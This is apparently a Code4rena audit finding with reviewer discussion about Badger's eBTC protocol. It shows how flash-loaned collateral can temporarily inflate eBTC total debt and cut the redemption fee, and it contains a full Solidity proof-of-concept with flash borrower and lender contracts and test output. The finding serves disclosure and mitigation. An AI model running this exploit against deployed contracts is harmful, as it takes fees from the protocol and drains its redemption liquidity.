Open c4-submissions opened 9 months ago
bytes032 marked the issue as sufficient quality report
bytes032 marked the issue as primary issue
GalloDaSballo marked the issue as disagree with severity
GalloDaSballo (sponsor) acknowledged
Basically the finding is stating that the redemption fee, can, in some circumntances remain flat.
Our fee will be 1% (2 oracles drift)
More specifically, the caller would pay 9 BPS to Flashloan a ton of eBTC
With the goal of paying a lower redemption fee
Notice that there are many values for which the operation is not profitable as the growth of the eBTC token supply + the Flashloan Fee and gas costs will make it unprofitable to perform this
That said, there should be scenarios in which the operation would be profitable and it would cause the feeRecipient to either receive a lower fee, or the redemption base rate to not grow
Would like to see the Math for this to be profitable as I believe that if we assume a 9BPS FL, then the cost of this would require redeeming a huge % of eBTC total supply before becoming feasible, also dependent on the Pool we use
jhsagd76 changed the severity to 2 (Med Risk)
jhsagd76 marked the issue as satisfactory
jhsagd76 marked the issue as selected for report
Upon further examination of this issue, I believe that this type of attack scenario for redemptions only becomes meaningful when eBTC significantly de-peg. Moreover, it would require holding a substantial amount of eBTC to have the motivation to carry out such an attack. While you could provide a poc demonstrating the effectiveness of this scenario, it would be challenging to actually execute it on the mainnet. The stringent prerequisites involved in this attack scenario make it somewhat tenuous to classify it as a med. It does indeed increase the overall risk to the system, but it would not directly result in actual bad debt or real losses.
I'll mark this as QA. So ping sponsor for a double check @GalloDaSballo
jhsagd76 changed the severity to QA (Quality Assurance)
jhsagd76 marked the issue as grade-a
jhsagd76 marked the issue as not selected for report
@GalloDaSballo and @jhsagd76 I will try to address your comments in this response.
It is hard to come with a mathematical model that can be used to calculate the profitability of this attack, as there are many variables involved (total supply of eBTC, price, total collateral ratio, user supply, total liquidity in active pool, etc). However, I tried to expand on my previous PoC with some adjustments:
I have also made configurable the total supply of eBTC, the percentage of the total supply that the user owns and wants to redeem, how much to inflate the total supply, and the collateral ratio the user will use to open the new position. This allows to simulate different scenarios and see how the profitability of the attack changes.
Here it is the code of the PoC, where you can play with the parameters to explore different scenarios. https://gist.github.com/shaka0x/016755ff671294aa198c8196a8b85563
Taking a realistic scenario where the total supply of eBTC is 100,000 eBTC, the user owns 3% of it, and the TCR is 177.9%, the user can inflate the total supply by a 10% to make the attack profitable.
forge test --mt testRedemption -vv
[PASS] testRedemptionManipulateTotalDebt() (gas: 2227655)
Logs:
************ Before *************
Total debt before 1000.000000000000000000
User debt before 30.000000000000000000
User supply percent 3
TCR 177.9000000000000000
********** onFlashLoan ***********
Borrow amount 1481.083144857296716479
Fee 0.444324943457189014
********** _calcRedemptionRate ***********
Redemption fee floor 1.0000000000000000
Total redemption fee 2.3636363636363636
************* After *************
Net redemption amount 393.886707513584961229
Total coll after 23505.654281098546042003
Total debt after 970.000000000000000000
Fee recipient shares 9.546188867675135702
[PASS] testRedemptionRegular() (gas: 538615)
Logs:
************ Before *************
Total debt before 1000.000000000000000000
User debt before 30.000000000000000000
User supply percent 3
TCR 177.9000000000000000
********** _calcRedemptionRate ***********
Redemption fee floor 1.0000000000000000
Total redemption fee 2.4999999999999999
************* After *************
Net redemption amount 393.780290791599354201
Total coll after 23505.654281098546042003
Total debt after 970.000000000000000000
Fee recipient shares 10.096930533117931744
As we can observe, the user manages to lower the redemption fee from 2.49% to 2.36%, that saves him 0.55 stETH, while the cost of the flash loan is 0.44 stETH.
While the damage of the attack is not significant, the purpose of the PoC is to demonstrate how the attack is easily performed given some realistic parameters. We should take into account that while it would be less likely that a user might have a big percentage of the total supply, the attack increases its profitability exponentially and so does the damage for the protocol, that does not only lose the redemption fee, but more importantly can get drained of liquidity.
Note that also that while I am not taking into account the gas fees, I am also not optimizing the attack, as the collateral ratio could be fine tuned and for great amount of borrowed collateral the flash loan could also be taken with a combination of both the ActivePool and the external flash lender to lower the average fee. In any case, for great amounts of supply the effect of the gas fees would not be significant.
For that all, I would like to ask you to reconsider the severity of the issue.
This issue is clear in technicality, and Warden's comments haven't actually provided any additional unknown facts. Thank you for providing the poc
Lines of code
https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/CdpManager.sol#L340-L344 https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/CdpManager.sol#L447-L450 https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/CdpManager.sol#L621-L622
Vulnerability details
Redemptions allow users to exchange eBTC for stETH at the spot oracle price. This mechanism is used to keep the eBTC pegged to the BTC price, as users will arbitrage the difference between the spot oracle price and the market price.
To prevent a drain in liquidity from the system, there is a redemption fee that tries to limit the daily volume of redemptions, as we can read in the documentation:
The fee rate is the sum of the base rate and the fee floor. The fee floor is set initially to 0.5% and the base rate is a dynamic value that increases with the volume of redemptions and decreases with time.
We can see how the redemption fee is calculated in
CdpManager.sol:redeemCollateral()
:In lines 621 to 624, we can see how the base rate is increased by the fraction of the total supply that is being redeemed. However, this fraction can be easily manipulated by inflating the total supply of eBTC. This can be done by creating a new CDP with a large amount of collateral before the redemption and closing it after the redemption.
The collateral required to perform this operation can be borrowed from the protocol itself. Given that the ActivePool contract allows to use all of the stETH owned by the contract, and not only the amount registered as collateral, using a low collateral ratio it will be possible to increase the total supply of eBTC by more than a 100%. Eventually, other platforms, like AAVE, that might have more liquidity, could be used to increase the total supply of eBTC via flash loan by even more.
Impact
The total debt in the system can be inflated by creating new CDPs, which will result in a lower redemption fee for the user. This allows the user to receive more collateral than expected and the protocol to receive less collateral as a redemption fee. What is more important, allows to bypass the stability mechanism that tries to limit the daily volume of redemptions by making it much cheaper to redeem a high percentage of the eBTC total supply.
Proof of Concept
In this PoC we have a total debt of 5.23 eBTC and 100 stETH of collateral and a user redeems 3.37 eBTC, which represents 64.52% of the total debt.
We will compare two scenarios, one where the user redeems the eBTC directly and another one where the user inflates the total supply of eBTC before redeeming.
PoC
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.17; import "forge-std/Test.sol"; import "../contracts/Dependencies/EbtcMath.sol"; import {eBTCBaseInvariants} from "./BaseInvariants.sol"; import "../contracts/Dependencies/IERC20.sol"; import "../contracts/Interfaces/IERC3156FlashLender.sol"; import "../contracts/Interfaces/IActivePool.sol"; import "../contracts/Interfaces/IBorrowerOperations.sol"; import "../contracts/Interfaces/ICdpManager.sol"; import "../contracts/HintHelpers.sol"; contract AuditRedemptionTest is eBTCBaseInvariants { address user; bytes32 private cdpId; uint256 cdpDebt; function setUp() public override { super.setUp(); connectCoreContracts(); connectLQTYContractsToCore(); vm.warp(3 weeks); // Initial CDPs user = _utils.getNextUserAddress(); uint256 _price = priceFeedMock.fetchPrice(); uint256 _coll = 50e18; uint256 _debt = (_coll * _price) / 200e16; _openTestCDP(user, _coll + cdpManager.LIQUIDATOR_REWARD(), _debt); _debt = (_coll * _price) / 110e16; cdpId = _openTestCDP(user, _coll + cdpManager.LIQUIDATOR_REWARD(), _debt); cdpDebt = cdpManager.getCdpDebt(cdpId); } function testRedemptionHappy() public { assertEq(collateral.balanceOf(user), 0); (bytes32 firstRedemptionHint, uint256 partialRedemptionHintNICR, , ) = hintHelpers .getRedemptionHints(cdpDebt, priceFeedMock.fetchPrice(), 0); vm.prank(user); cdpManager.redeemCollateral( cdpDebt, firstRedemptionHint, firstRedemptionHint, firstRedemptionHint, partialRedemptionHintNICR, 0, 1e18 ); logResults(); } function testRedemptionManipulateTotalDebt() public { assertEq(collateral.balanceOf(user), 0); // Deploy flash lender and deposit collateral FlashLender flashLender = new FlashLender( address(collateral), 9 // 0.09% fee ); dealCollateral(address(flashLender), 1000e18); // Deploy flash borrower FlashBorrower flashBorrower = new FlashBorrower( address(collateral), address(eBTCToken), address(flashLender), address(borrowerOperations), address(cdpManager), address(hintHelpers) ); // User transfers eBTC to flash borrower and performs redemption vm.startPrank(user); eBTCToken.transfer(address(flashBorrower), cdpDebt); flashBorrower.redeem(priceFeedMock.fetchPrice()); flashBorrower.withdrawCollateral(); vm.stopPrank(); logResults(); } function logResults() internal view { console2.log("Total coll after ", cdpManager.getSystemCollShares()); console2.log("Total debt after ", cdpManager.getSystemDebt()); console2.log("Net redemption coll ", collateral.balanceOf(user)); console2.log("Fee recipient coll ", activePool.getFeeRecipientClaimableCollShares()); } } contract FlashBorrower { IERC20 public immutable collateral; IERC20 public immutable eBTCToken; IERC3156FlashLender public immutable flashLender; IBorrowerOperations public immutable borrowerOperations; ICdpManager public immutable cdpManager; HintHelpers public immutable hintHelpers; constructor( address _collateral, address _eBTCToken, address _flashLender, address _borrowerOperations, address _cdpManager, address _hintHelpers ) { collateral = IERC20(_collateral); eBTCToken = IERC20(_eBTCToken); flashLender = IERC3156FlashLender(_flashLender); borrowerOperations = IBorrowerOperations(_borrowerOperations); cdpManager = ICdpManager(_cdpManager); hintHelpers = HintHelpers(_hintHelpers); collateral.approve(_flashLender, type(uint256).max); collateral.approve(_borrowerOperations, type(uint256).max); eBTCToken.approve(_borrowerOperations, type(uint256).max); } function redeem(uint256 price) external { uint256 borrowAmount = flashLender.maxFlashLoan(address(collateral)); flashLender.flashLoan( IERC3156FlashBorrower(address(this)), address(collateral), borrowAmount, abi.encodePacked(price) ); } function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32) { (uint256 price) = abi.decode(data, (uint256)); uint256 debtForRedemption = eBTCToken.balanceOf(address(this)); // Open new CDP with the borrowed collateral to inflate total debt uint256 newDebt = ((amount - 2e17 /*LIQUIDATOR_REWARD*/) * price) / (125e16); bytes32 cdpId = borrowerOperations.openCdp(newDebt, bytes32(0), bytes32(0), amount); // Redeem collateral with the inflated total debt (bytes32 firstRedemptionHint, uint256 partialRedemptionHintNICR, , ) = hintHelpers .getRedemptionHints(debtForRedemption, price, 0); cdpManager.redeemCollateral( debtForRedemption, firstRedemptionHint, firstRedemptionHint, firstRedemptionHint, partialRedemptionHintNICR, 0, 1e18 ); // Close CDP borrowerOperations.closeCdp(cdpId); return keccak256("ERC3156FlashBorrower.onFlashLoan"); } function withdrawCollateral() external { collateral.transfer(msg.sender, collateral.balanceOf(address(this))); } } contract FlashLender is IERC3156FlashLender { bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); address public loanToken; uint256 public fee; // 1 => 0.01% constructor(address loanToken_, uint256 fee_) { loanToken = loanToken_; fee = fee_; } function flashLoan( IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data ) external override returns(bool) { require(token == loanToken, "FlashLender: Unsupported currency"); uint256 _fee = flashFee(token, amount); require(IERC20(token).transfer(address(receiver), amount), "FlashLender: Transfer failed"); require( receiver.onFlashLoan(msg.sender, token, amount, _fee, data) == CALLBACK_SUCCESS, "FlashLender: Callback failed" ); require( IERC20(token).transferFrom(address(receiver), address(this), amount + _fee), "FlashLender: Repay failed" ); return true; } function flashFee( address token, uint256 amount ) public view override returns (uint256) { require(token == loanToken, "FlashLender: Unsupported currency"); return amount * fee / 10000; } function maxFlashLoan( address token ) external view override returns (uint256) { return token == loanToken ? IERC20(token).balanceOf(address(this)) : 0; } } ```Console output
```shell forge test --mc AuditRedemptionTest -vv [PASS] testRedemptionHappy() (gas: 406375) Logs: Total coll after 50000000000000000000 Total debt after 1857000000000000000 Net redemption coll 30564516129032258085 Fee recipient coll 14890029325513196451 [PASS] testRedemptionManipulateTotalDebt() (gas: 1744548) Logs: Total coll after 50000000000000000000 Total debt after 1857000000000000000 Net redemption coll 43140251785184535219 Fee recipient coll 1414293669360919317 ```In both scenarios, the system ends up with the same amount of debt and collateral. However, in the second scenario, the user receives more stETH (43.14 vs 30.56) and the protocol receives less stETH as a redemption fee (1.41 vs 14.89).
This is because in the first scenario, the redemption rate is 32%, while in the second scenario, the user has managed to lower the redemption rate to a 3% by borrowing 1,000 stETH and using them to open a CDP. This allows the user to cover the fees of the flash loan and still receive more stETH than in the first scenario.
Tools Used
Manual inspection.
Recommended Mitigation Steps
A possible solution would be storing in two state variables the last block in which new debt was created and the total debt added in that block. Then, in the redemption function, check if any debt has been created in the current block. In this case, subtract the new debt from the total debt in the calculation of the redemption fee.
Assessed type
Other